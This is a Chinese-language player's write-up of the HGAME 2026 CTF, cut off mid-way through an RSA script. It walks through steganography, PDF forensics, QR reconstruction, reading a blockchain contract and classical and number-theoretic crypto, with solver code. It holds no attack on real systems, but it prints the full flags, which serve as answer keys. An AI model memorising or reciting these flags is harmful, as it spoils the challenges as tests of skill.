HGAME 2026wp

感谢hgame主办方,祝贺hgame越办越好,期待贴纸ing

![](HGAME 2026wp/1772594642410-7c840311-648f-45f0-8567-51ab18836431.png)

借鉴了一下官方Writeup https://github.com/vidar-team/HGAME2026_Writeup

下方很多内容是ai的(比赛的时候用了很多ai拿分,可以直接忽略(,不过misc是赛后复盘全手写的,后续也会慢慢更新手写复盘,如果有写错的不好的麻烦私信联系我,我马上进行修改

签到

README

![](HGAME 2026wp/1769998751051-095fc505-e86b-4780-814c-ffd898f5f8d8.png)

没什么好说的直接就把flag展现在面前了

hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}

TEST NC

![](HGAME 2026wp/1769998787899-3a7b926a-9875-46a7-a8ca-537038ac329b.png)

直接ncat连接即可

然后我们直接cat flag即可得到flag

![](HGAME 2026wp/1769998042674-8f4e3773-1f5c-4ae0-9822-615bfc84a4fd.png)

明年见!

![](HGAME 2026wp/1771156627169-db1e7342-ffc5-4eb2-81de-3b0bc447c24e.png)

完成问卷即可

Misc

打好基础

![](HGAME 2026wp/1769998604019-f51e0942-c474-49f8-b662-6079bcc627ec.png)

拿到是一串emoji

![](HGAME 2026wp/1769998623927-cfc4b1bc-de7d-4c68-b7ca-12e9dce7ad8e.png)

很明显没有key,那就很可能只是base100

![](HGAME 2026wp/1769998644336-6becddb2-465d-4fa0-8659-9be1aa9cc93c.png)

之后还是一串乱码,在尝试之后发现base92也能解,怀疑是多重base

![](HGAME 2026wp/1769998590607-c8bc0a8c-eb3c-40f4-8ea9-854a3478f933.png)

放入随波逐流之后直接混合多重解码出了,让我一个个试我估计是想不出,能想出来应该也要试很久,或者就只能跑脚本爆破了

hgame{L4y_a_sO11d_f0unDaTi0n}

shiori不想找女友

![](HGAME 2026wp/1769998721502-c23b5f3c-4dd8-48c7-8d1b-0c8c7c014024.png)

![](HGAME 2026wp/1770000529681-3185d87a-cb30-406a-b41b-4f81847b318b.png)

拿到手是这样子两个文件

![](HGAME 2026wp/1770000565024-266cccd5-f5b4-43ec-8a23-9b426289b81c.png)

打开png很明显是一堆白点黑点,明显需要我们逐点采样,最后应该是一些黑字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from PIL import Image
import math

img = Image.open("shiori.png").convert("RGB")
px = img.load()
w, h = img.size

start_x, start_y = 10, 10
step_x, step_y = 7, 7
column_num = 450

bits = []
# 逐点采样:按行扫描
y = start_y
while y < h:
x = start_x
while x < w:
r, g, b = px[x, y]
#别的全当白的
if (r, g, b) == (0, 0, 0):
bits.append(1)
elif (r, g, b) == (255, 255, 255):
bits.append(0)
else:
bits.append(0)

x += step_x
y += step_y

# 按 column_num 重排成图
rows = math.ceil(len(bits) / column_num)
out = Image.new("L", (column_num, rows), 255)
out_px = out.load()

for i, b in enumerate(bits):
x = i % column_num
y = i // column_num
out_px[x, y] = 0 if b == 1 else 255

out.save("recovered.png")
print("saved recovered.png, size =", out.size)

![](HGAME 2026wp/1770000634303-c5654bf1-a208-4a1b-9e5c-aa25b58e442c.png)

得到这样子一张图,不知道是不是主办方密码设错了,这个不是密码

试了试之后发现真正的密码是全小写的,this_is_a_key_for_u

然后就可以打开压缩包了

![](HGAME 2026wp/1770000679791-8ef836db-71c1-4412-8614-81b1fc0e03f9.png)

得到了这样子一个东西,外边看是黑的,点开来看是透明的

不难想到这是因为Alpha通道全是0,所以就全透明了

我们直接改这个通道就好了其实

1
2
3
4
5
6
7
8
from PIL import Image
import numpy as np

img = Image.open("shioriori_.jpg").convert("RGBA")
arr = np.array(img)
arr[..., 3] = 255 # 强制不透明
Image.fromarray(arr).save("revealed.png")
print("打印好啦")

就能看见答案和照片了

![](HGAME 2026wp/1770001676930-7bd83dc3-2d27-4bdd-979b-556453747077.png)

hgame{bec0use_lilies_are_7he_b1st} (保护一下帅哥隐私)

[REDACTED]

![](HGAME 2026wp/1770001799205-2c874899-a3f9-48dc-8d5e-5f85d6260632.png)

题目的意思是有四段敏感的字符串需要找到

![](HGAME 2026wp/1770003339742-46cba6d2-67ba-47d2-a1a2-606099b3e5b7.png)

上来习惯性全选后即可发现明显这边有一块,在尝试后发现只需要提取文字即可获得其中内容

1
In case of an undampened local chrono-logical shift, initiate the SCRAMBLE protocol with passphrase 1:PAR4D0X before notifying the on-site Coordinator.

所以第一部分就是PAR4D0X

接下来下边还有一块黑的,看一眼,同样可以选中其中的文字

![](HGAME 2026wp/1770003587356-e69c7a93-6005-4174-a374-a64a996a6f45.png)

可以看到这由三部分组成,符合JWT编码字符串,中间的内容很有可能就是Base64编码的JWT

我们尝试解码

![](HGAME 2026wp/1770003658771-81d6d52f-120a-4999-aaed-08cf72edd575.png)

成功得到第二部分,AllCl3arToPr0ceed

第三部分

![](HGAME 2026wp/1770004023353-7c7d3866-a45a-444e-8ef2-18e5ccda3e32.png)

第三部分很让人怀疑是在右下角这里,但是在图片里,这样子是不太可能直接选中文字提取出来,怀疑可能是一个通道没有正确呈现信息,而别的通道存在

![](HGAME 2026wp/1770004220184-b35aae12-d182-45ae-9ca5-46641a0fd6b3.png)

果然在这里,至此我们得到了第三部分,只差第四部分了,但是pdf里边似乎直接看看不出,转战Winhex看看

分析发现PDF有两次startxref,即更新过一次,不是重写的

![](HGAME 2026wp/1770006050357-74cf0e41-640f-4fab-a769-51c5abc0f953.png)

![](HGAME 2026wp/1770006081461-90c9a77c-f7d6-4933-bf26-f1105357ffa9.png)

1
2
<</Type/Pages ... /Kids[1 0 R 7 0 R 34 0 R] /Count 3>>
<</Type/Pages ... /Kids[7 0 R 34 0 R] /Count 2>>

发现旧版的Pages其实是有三页的,但第一页的1 0 R被删了,但对象本身还在文件,没删,只删了引用,这是PDF的增量式修改功能,基本原理就是每次更新没删内容,只更新了引用表

所以我们可以解压孤儿页内容流

内容流用的是/F1字体,所以可以用ToUnicode来翻译一下就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import re, zlib, pathlib

pdf = pathlib.Path("G:\ctf\hgame\Misc\[redacted]\manual.pdf").read_bytes()

def stream(objnum):
m = re.search(rb"\n%d 0 obj\b.*?stream\r?\n(.*?)\r?\nendstream" % objnum, pdf, re.S)
return m.group(1)

# 1) 解压 page(1 0) 的 contents: 2 0
page_stream = zlib.decompress(stream(2)).decode("latin1")

# 2) 抓出 <....> 的十六进制字形码串
hexs = re.search(r"/F1\s+\d+\s+Tf<([0-9A-Fa-f]+)>Tj", page_stream).group(1)
codes = bytes.fromhex(hexs)

# 3) 解压 ToUnicode
cmap = zlib.decompress(stream(63)).decode("latin1").splitlines()
mp = {}
for ln in cmap:
m = re.match(r"<([0-9A-Fa-f]{2})>\s+<([0-9A-Fa-f]{4})>", ln.strip())
if m:
mp[int(m.group(1), 16)] = chr(int(m.group(2), 16))

text = "".join(mp[b] for b in codes)
print(text)

成功得到4:D0cR3qu3st3r_Tutu

当然也可以直接恢复先前版本的引用表,用这个就很方便

GitHub - enferex/pdfresurrect: Analyze and help extract older “hidden” versions of a pdf from the current pdf.

安装好之后输入下方命令即可

1
pdfresurrect manual.pdf -w

![](HGAME 2026wp/1772594375164-48448d1f-828e-41b2-afb8-a4ed77f87048.png)

也能直接看到4:D0cR3qu3st3r_Tutu

所以最后拼一下就好了

hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}

(这题还蛮好玩的,很适合出在取证比赛吧,整一个只更新引用表的pdf)

Invest on Matrix

![](HGAME 2026wp/1770806049171-61edbccf-ef3f-4a19-a73d-44896766dd75.png)

这是一场投资,很明显,我们必须去解锁一些hint才能做出这一道题,越少越好,毕竟这个hint都是要分的

大概是将二维码按从左到右、从上到下切成了 25 块,每条 hint 给出对应子块按行优先扁平化后的 25 个值

由于二维码特性,不用买完也能出的

然后我买了1,2,3,4,6,7,8,9,10,11,12,13,14,15,17,18,20,23,24,25,花了242

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import numpy as np
import cv2

SIZE = 25

HINTS = {
1: [1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1],
2: [1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1],
3: [0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,0],
4: [0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0],
6: [1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0],
7: [0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1],
8: [0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1],
9: [1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0],
10: [0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1],
11: [1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,1],
12: [1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0],
13: [1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0],
14: [1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0],
15: [1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1],
17: [0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0],
18: [1,1,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1],
20: [0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1],
23: [1,1,0,1,0,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1],
24: [1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,0,0,0],
25: [1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1],
}

def build_matrix(hints):
mat = np.full((SIZE, SIZE), -1, dtype=int)
for h, vals in hints.items():
r0 = ((h - 1) // 5) * 5
c0 = ((h - 1) % 5) * 5
mat[r0:r0+5, c0:c0+5] = np.array(vals).reshape(5, 5)
return mat

def bch10(data5):
g = 0x537
v = data5 << 10
while v.bit_length() >= g.bit_length():
v ^= g << (v.bit_length() - g.bit_length())
return v

def read_format_code(mat):
# format copy A
coords = []
for i in range(0, 6): coords.append((8, i))
coords += [(8, 7), (8, 8), (7, 8)]
for i in range(9, 15): coords.append((14 - i, 8))

bits = [int(mat[r, c]) for r, c in coords]
if any(b not in (0, 1) for b in bits):
raise RuntimeError("format bits 不完整")

obs = sum((b & 1) << i for i, b in enumerate(bits))
obs = int(f"{obs:015b}"[::-1], 2)

valid = [(((d << 10) | bch10(d)) ^ 0x5412) for d in range(32)]
if obs not in valid:
raise RuntimeError("format code 校验失败")
return obs

def gen_func_modules(size, format_code):
func = np.zeros((size, size), dtype=bool)
val = np.full((size, size), -1, dtype=int)

def setm(x, y, b):
if 0 <= x < size and 0 <= y < size:
func[y, x] = True
val[y, x] = int(b)

# Finder + separator
for cx, cy in [(3, 3), (size-4, 3), (3, size-4)]:
for dy in range(-4, 5):
for dx in range(-4, 5):
d = max(abs(dx), abs(dy))
setm(cx+dx, cy+dy, 1 if (d != 2 and d != 4) else 0)

# Timing
for i in range(size):
if not func[6, i]: setm(i, 6, 1 if i % 2 == 0 else 0)
if not func[i, 6]: setm(6, i, 1 if i % 2 == 0 else 0)

# Alignment (v2 uses centers [6, 18])
for ay in [6, 18]:
for ax in [6, 18]:
if func[ay, ax]:
continue
for dy in range(-2, 3):
for dx in range(-2, 3):
d = max(abs(dx), abs(dy))
setm(ax+dx, ay+dy, 1 if d != 1 else 0)

# Dark module
setm(8, size-8, 1)

# Format bits (two copies)
fb = [(format_code >> i) & 1 for i in range(15)]

# copy A
for i in range(0, 6): setm(8, i, fb[i])
setm(8, 7, fb[6]); setm(8, 8, fb[7]); setm(7, 8, fb[8])
for i in range(9, 15): setm(14-i, 8, fb[i])

# copy B
for i in range(0, 8): setm(size-1-i, 8, fb[i])
for i in range(8, 15): setm(8, size-15+i, fb[i])

return func, val

def decode(mat):
img = np.where(mat == -1, 0, mat)
img = 1 - img

img = (img * 255).astype(np.uint8)
img = np.pad(img, ((4,4),(4,4)), mode='constant', constant_values=255) # quiet zone
img = cv2.resize(img, (0,0), fx=10, fy=10, interpolation=cv2.INTER_NEAREST)

txt, _, _ = cv2.QRCodeDetector().detectAndDecode(img)
return txt

def main():
mat = build_matrix(HINTS)
print("[+] 已知模块:", np.count_nonzero(mat != -1), "/625")

fmt = read_format_code(mat)
func, fval = gen_func_modules(SIZE, fmt)

# 只补齐未知的功能模块
fill_mask = (mat == -1) & func
mat[fill_mask] = fval[fill_mask]

print("[+] 补功能模块后未知:", np.count_nonzero(mat == -1))
res = decode(mat)
print("[+] decode:", repr(res))

if __name__ == "__main__":
main()

得到最后的flag为hgame{W0RTH_1T?}

或许worth吧

赛后给出了原来的二维码,我放在下边了

![](HGAME 2026wp/1772593178162-b1bd80d4-b367-4690-b020-75bcb18a77e3.png)

Vidar Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Vidar Token
Vidar Finance has decided to move on-chain.

As an initial foray, we are rewarding those who can hunt down the flags hidden in the depths.

Battle-tested implementation, seasoned with a few custom twists.

You think you’re empowered? Prove it.

On-chain, the truth has nowhere to hide.

Fragments in the hollow,

Punks and Coins collide.

Víðarr's eye still sees

Zenless truth inside...

Layers peel away,

Silent god's REvenge.

Decrypt the hidden way

Where broken worlds converge.

![](HGAME 2026wp/1772585328441-7a591b7e-59d8-4540-88f8-2c8fc4c2a179.png)

读下题目先,大概翻译一下,说是链上数据可读,不用登陆也能从合约存储、事件等读到很多东西

还有就是估计flag和线索都不会直接明文来,hide住了

最后是REvenge,猜测是需要re逆向的

先开启环境看一看,像一个虚拟浏览器钱包界面

![](HGAME 2026wp/1772587884739-77d7cb42-28d4-43d0-9a7a-24f7037a03e0.png)

看似是说在非HTTPS环境无法直接连接,但是我用caddy改为https连接后依旧无变化

还是先查看一下源码

![](HGAME 2026wp/1772587899961-ea2d81d2-4de2-43db-ad89-fb6b740cca5e.png)

发现源码此处写了页面底部只有一个业务脚本被加载,就是这个app.js

一般网页的逻辑都会写在js里,这个页面没有加载别的js,只漏了这个app.js,所以我们跳过去看看,应该会有收获

![](HGAME 2026wp/1772588320014-7bdae7ec-8416-4ec3-a562-3eba42d510ac.png)

在这边我们看到了,根本没有检测https环境,不管如何都会显示这一句话

![](HGAME 2026wp/1772588439541-b0aa7618-cbb7-4a7a-8579-476e3b2174a4.png)

核心逻辑在下方这个checkEligibility里,做的事情很具体

先fetch了一个k.wasm

再导出函数get_entrance()拿到指针

之后可以看到entranceAddress是从k.wasm里边正则提取出来的

1
2
3
4
5
6
const res = await fetch("/wasm/k.wasm");
const { instance } = await WebAssembly.instantiate(wasm, {});
const ptr = instance.exports.get_entrance();
const text = readCString(instance.exports.memory, ptr, 80);
const match = text.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
entranceAddress = match ? match[1] : "";

再用同源的RPC连接rpc

![](HGAME 2026wp/1772588628622-efb0db42-1974-4b6e-a6a2-0a17d5f3a0c6.png)

1
2
const rpcUrl = `${window.location.origin}/rpc`;
const provider = new ethers.JsonRpcProvider(rpcUrl);

最后通过代码审计还能看到代码只调用了await vault.tokenURI(0)这一个合约函数获得的数据

1
2
3
4
5
6
const vault = new ethers.Contract(
entranceAddress,
["function tokenURI(uint256) view returns (string)"],
provider
);
await vault.tokenURI(0);

到这边基本上可以确定是题目入口了,这边出现了合约地址、RPC、合约调用三件套,还和题目中的Punks and Coins collide.呼应,强烈暗示了NTF元数据,而我们的tokenURI正是ERC-721/1155常用的元数据入口

之后我们来获取一下这个entranceAddress,读取一下tokenURI

这边我们自然可以直接把 wasm 下载下来并从里面提取入口地址 ,但是相对来说麻烦很多

既然题目已经fetch了,我们其实可以直接利用console得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(async () => {
function readCString(mem, offset, max = 128) {
const bytes = new Uint8Array(mem.buffer, offset, max);
let out = "";
for (let i = 0; i < bytes.length; i++) {
if (bytes[i] === 0) break;
out += String.fromCharCode(bytes[i]);
}
return out;
}

const res = await fetch("/wasm/k.wasm");
if (!res.ok) throw new Error("failed to fetch wasm");
const wasm = await res.arrayBuffer();
const { instance } = await WebAssembly.instantiate(wasm, {});
const ptr = instance.exports.get_entrance();
const text = readCString(instance.exports.memory, ptr, 200);
const m = text.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
console.log("raw:", text);
console.log("entranceAddress:", m ? m[1] : null);
})();

![](HGAME 2026wp/1772591569433-6311c25b-1185-4450-b50f-68bb1401501b.png)

得到entrance,也就是第一个合约的入口地址

1
ENTRANCE=0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0

再去调用tokenURI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(async () => {
// 1) 先拿 entranceAddress(复用上面逻辑,写在一起不依赖全局变量)
function readCString(mem, offset, max = 128) {
const bytes = new Uint8Array(mem.buffer, offset, max);
let out = "";
for (let i = 0; i < bytes.length; i++) {
if (bytes[i] === 0) break;
out += String.fromCharCode(bytes[i]);
}
return out;
}

const wasm = await (await fetch("/wasm/k.wasm")).arrayBuffer();
const { instance } = await WebAssembly.instantiate(wasm, {});
const ptr = instance.exports.get_entrance();
const text = readCString(instance.exports.memory, ptr, 200);
const m = text.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
const entrance = m ? m[1] : null;
if (!entrance) throw new Error("entrance address not found");

// 2) 走同源 RPC
const rpcUrl = `${window.location.origin}/rpc`;
const provider = new ethers.JsonRpcProvider(rpcUrl);

// 3) 调 tokenURI(0)
const vault = new ethers.Contract(
entrance,
["function tokenURI(uint256) view returns (string)"],
provider
);

const uri = await vault.tokenURI(0);
console.log("entrance:", entrance);
console.log("tokenURI(0):", uri);
})();

![](HGAME 2026wp/1772591809099-448b57a4-52f2-4694-8e22-393d78f83a8a.png)

发现给了一串base64

![](HGAME 2026wp/1772591836101-e156d80e-3b6b-4bf2-9be8-a72bfdb21980.png)

解码得到json

1
{"name":"VidarPunks #0","description":"VidarPunks Vault NFT. Seek your fortune with VidarCoin.","attributes":[{"trait_type":"Linked Coin Address","value":"0xc5273abfb36550090095b1edec019216ad21be6c"}],"vidar_coin":"0xc5273abfb36550090095b1edec019216ad21be6c"}

至此我们得到了下一跳,VidarCoin的合约地址0xc5273abfb36550090095b1edec019216ad21be6c

针对这一个地址,像是ERC20代币地址

所以我们可以直接把这个地址先当ERC20尝试读基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(async () => {
const coin = "0xc5273abfb36550090095b1edec019216ad21be6c";
const rpcUrl = `${window.location.origin}/rpc`;
const provider = new ethers.JsonRpcProvider(rpcUrl);
const erc20 = new ethers.Contract(
coin,
[
"function name() view returns (string)",
"function symbol() view returns (string)",
"function decimals() view returns (uint8)",
"function totalSupply() view returns (uint256)",
],
provider
);

const [name, symbol, decimals, totalSupply] = await Promise.all([
erc20.name().catch(()=>null),
erc20.symbol().catch(()=>null),
erc20.decimals().catch(()=>null),
erc20.totalSupply().catch(()=>null),
]);

console.log({ coin, name, symbol, decimals, totalSupply: totalSupply?.toString?.() ?? totalSupply });
})();

![](HGAME 2026wp/1772592118807-8ccdef47-0c28-4d4b-8138-316f190e0c60.png)

发现了symbol有往下一层解密的潜力,因为一般的symbol都是短字符串,而这边返回的是一串hex

“0x6960606a647c7458603172484d7255346d7e5e4c6f3776584455622a566672705e357b7d3634343430307c”

![](HGAME 2026wp/1772592260164-387c1a4c-6982-4b74-9d33-3b16a2b95292.png)

其实看上去似乎没什么乱码,怀疑是否有戏

我们跟着题目的flag头hgame{尝试XOR

![](HGAME 2026wp/1772592462158-e2b3aa5f-904d-4dd0-8d84-4734172af49d.png)

1
2
3
4
5
6
0x69 XOR 0x68 = 0x01
0x60 XOR 0x67 = 0x07
0x60 XOR 0x61 = 0x01
0x6a XOR 0x6d = 0x07
0x64 XOR 0x65 = 0x01
0x7c XOR 0x7b = 0x07

大概可以得到是0x01和0x07交替XOR

写一个简单脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HEX_CIPHERTEXT = "0x6960606a647c7458603172484d7255346d7e5e4c6f3776584455622a566672705e357b7d3634343430307c"

hx = HEX_CIPHERTEXT.strip().lower()
if hx.startswith("0x"):
hx = hx[2:]
hx = "".join(hx.split())

ct = bytes.fromhex(hx)

result = bytearray()
key = [0x01, 0x07]
for i, b in enumerate(ct):
result.append(b ^ key[i % 2])

try:
plaintext = result.decode("utf-8")
print(plaintext)
except UnicodeDecodeError:
plaintext = result.decode("latin-1")
print(plaintext)

得到flag:hgame{u_a6sOLuT3ly_Kn0w_ERc-Wasw_2zz735317}

![](HGAME 2026wp/1772592870351-55ed60aa-7e84-46f5-90f0-cf21d8e6e27d.png)

由于上述原因,题目设置的flag其实是hgame{u_a6sOLuT3ly_Kn0w_ERc_Wasw_2zz735317}

Crypto

Classic

![](HGAME 2026wp/1770000019267-a21c3145-d838-4160-9c45-5a85fd5d24b2.png)

![](HGAME 2026wp/1770000111207-7f5cd70e-e6bf-494b-8e2a-71eb6504614e.png)

乍一看就很像凯撒或者维吉尼亚,在尝试以hgame为密码之后发现的确如此

![](HGAME 2026wp/1770032555538-5328c020-488f-433a-9ad3-eb5cf0e81443.png)

前边是可读的了,后边还不行,继续尝试维吉亚娜

第一次尝试提交后跟我说是以VIDAR{}包裹的一串flag,那我们就可以把JQABX和VIDAR比对一下

![](HGAME 2026wp/1770032606305-f8a253f8-93d3-4eae-b1f3-1419ac32be0e.png)

于是可以逆推,得到密钥OIXBG

![](HGAME 2026wp/1770032969952-d3196d70-68f1-4f35-ab1c-2a9405c07f77.png)

成功得到flag

Flux

![](HGAME 2026wp/1770089361149-14da30bb-8dff-42b3-89ea-6020255c1b5f.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import ast

VALUE = "Welcome to HGAME 2026!"
MAGIC = "I get the key now!"
KEY_BITS = 70

def inv(a: int, mod: int) -> int:
# Python 3.8+ 支持 pow(a, -1, mod)
return pow(a, -1, mod)

def tonelli_shanks(n: int, p: int):
"""
Tonelli–Shanks: 求解 x^2 ≡ n (mod p), p 为奇素数
若无解返回 None
"""
n %= p
if n == 0:
return 0
# Legendre symbol
if pow(n, (p - 1) // 2, p) != 1:
return None
if p % 4 == 3:
return pow(n, (p + 1) // 4, p)

# p-1 = q * 2^s, q odd
q = p - 1
s = 0
while q % 2 == 0:
s += 1
q //= 2

# 找到非二次剩余 z
z = 2
while pow(z, (p - 1) // 2, p) != p - 1:
z += 1

m = s
c = pow(z, q, p)
t = pow(n, q, p)
r = pow(n, (q + 1) // 2, p)

while t != 1:
i = 1
t2i = (t * t) % p
while i < m and t2i != 1:
t2i = (t2i * t2i) % p
i += 1
b = pow(c, 1 << (m - i - 1), p)
r = (r * b) % p
t = (t * b * b) % p
c = (b * b) % p
m = i
return r

def flux_next(x: int, a: int, b: int, c: int, n: int) -> int:
return (a * (x * x % n) + b * x + c) % n

def shash_full(value: str, key: int) -> int:
length = len(value)
if length == 0:
return 0
mask = (1 << 256) - 1
x = (ord(value[0]) << 7) & mask
for ch in value:
x = (key * x) & mask
x ^= ord(ch)
x ^= length & mask
return x

def shash_mod(value: str, key: int, kbits: int) -> int:
"""
只计算低 kbits 位(相当于所有运算都在 mod 2^kbits 上做)
用于逐位恢复 key
"""
mask = (1 << kbits) - 1
length = len(value)
if length == 0:
return 0
x = (ord(value[0]) << 7) & mask
k = key & mask
for ch in value:
x = (k * x) & mask
x ^= ord(ch) & mask
x ^= length & mask
return x & mask

def recover_key_by_lifting(value: str, target_h: int, key_bits: int = 70) -> int:
"""
逐位扩展 key(低位 -> 高位),保持 shash(value,key) 的低 k 位与 target_h 匹配
"""
candidates = [0]
for k in range(1, key_bits + 1):
m = (1 << k) - 1
new = set()
for base in candidates:
# 这一步决定第 k-1 位是 0 还是 1
for bit in (0, 1):
cand = base | (bit << (k - 1))
if shash_mod(value, cand, k) == (target_h & m):
new.add(cand)
candidates = sorted(new)
if not candidates:
raise ValueError("No key candidates left; wrong h or inconsistent data.")

# 用完整 256-bit 再筛一次(确保唯一正确)
final = [k for k in candidates if shash_full(value, k) == target_h]
if len(final) != 1:
raise ValueError(f"Key not unique, candidates = {len(final)}")
return final[0]

def main():
# 读取 data.txt
with open("data.txt", "r", encoding="utf-8") as f:
lines = [line.strip() for line in f if line.strip()]
xs = ast.literal_eval(lines[0])
n = int(lines[1])

x1, x2, x3, x4 = xs
d1 = (x2 - x1) % n
d2 = (x3 - x2) % n
d3 = (x4 - x3) % n

# 由 x1..x4 解 a,b
t2 = d2 * inv((x2 - x1) % n, n) % n
t3 = d3 * inv((x3 - x2) % n, n) % n
a = (t3 - t2) * inv((x3 - x1) % n, n) % n
b = (t2 - a * ((x2 + x1) % n)) % n

# 由 x1,x2 解 c
c = (x2 - (a * (x1 * x1 % n) + b * x1) % n) % n

# 解二次方程得到 h
K = (d1 - (a * (x1 * x1 % n) + b * x1) % n) % n
delta = (b * b - 4 * a * K) % n
sdelta = tonelli_shanks(delta, n)
if sdelta is None:
raise ValueError("No sqrt(delta) mod n; unexpected for this challenge.")

h_candidates = []
inv2a = inv((2 * a) % n, n)
h_candidates.append(((-b + sdelta) % n) * inv2a % n)
h_candidates.append(((-b - sdelta) % n) * inv2a % n)

# 对每个 h 候选尝试恢复 key;能恢复且通过 full 校验的即正确
for h in h_candidates:
try:
key = recover_key_by_lifting(VALUE, h, KEY_BITS)
# 计算最终 flag
ans = shash_full(MAGIC, key)
print("key =", key)
print("flag =", "VIDAR{" + hex(ans)[2:] + "}")
return
except Exception:
continue

raise ValueError("Both h candidates failed to produce a valid key.")

if __name__ == "__main__":
main()

![](HGAME 2026wp/1770089464289-21b0e1a4-3b67-4187-9f2e-1e8f5afd9c1e.png)

![](HGAME 2026wp/1770089474007-0daca5ee-dd14-4b6e-83e5-8bb6506d4d1b.png)

![](HGAME 2026wp/1770089487059-febd159d-611d-4615-8538-e915cfaae873.png)

![](HGAME 2026wp/1770089497268-e774728b-d13f-4392-b42c-e1edacdc140e.png)

![](HGAME 2026wp/1770089509415-44b15600-3a7f-40c0-93a9-6833022ce820.png)

babyRSA

![](HGAME 2026wp/1770179820509-077a4029-4958-4df8-8a09-9edb7b014fb2.png)

![](HGAME 2026wp/1770179834390-554ae09b-4836-4918-8f24-854a2b0573f0.png)

![](HGAME 2026wp/1770179841167-23aa8349-6004-49e0-a343-22128dd8e7d4.png)

![](HGAME 2026wp/1770179848161-89fd9733-d34d-47c9-99cf-c17980c29f71.png)

![](HGAME 2026wp/1770179855320-c9b22637-f7e6-46a7-9d1b-38ae716eb99c.png)

![](HGAME 2026wp/1770179862532-1b707c5e-5ba0-4b0e-9b28-ec838782796d.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from sage.all import *
from Crypto.Util.number import inverse
import string

# =======================
# RSA params (given)
# =======================
ZZZ = IntegerRing()
def Z(x):
return ZZZ(int(x))

c = Z(451420045234442273941376910979916645887835448913611695130061067762180161)
p = Z(722243413239346736518453990676052563)
q = Z(777452004761824304315754169245494387)
n = p * q
e = Z(65537)
phi = (p - 1) * (q - 1)
d = Z(inverse(int(e), int(phi)))

# IMPORTANT: use Python pow to avoid Mod(...) types
m0 = Z(pow(int(c), int(d), int(n))) # m mod n

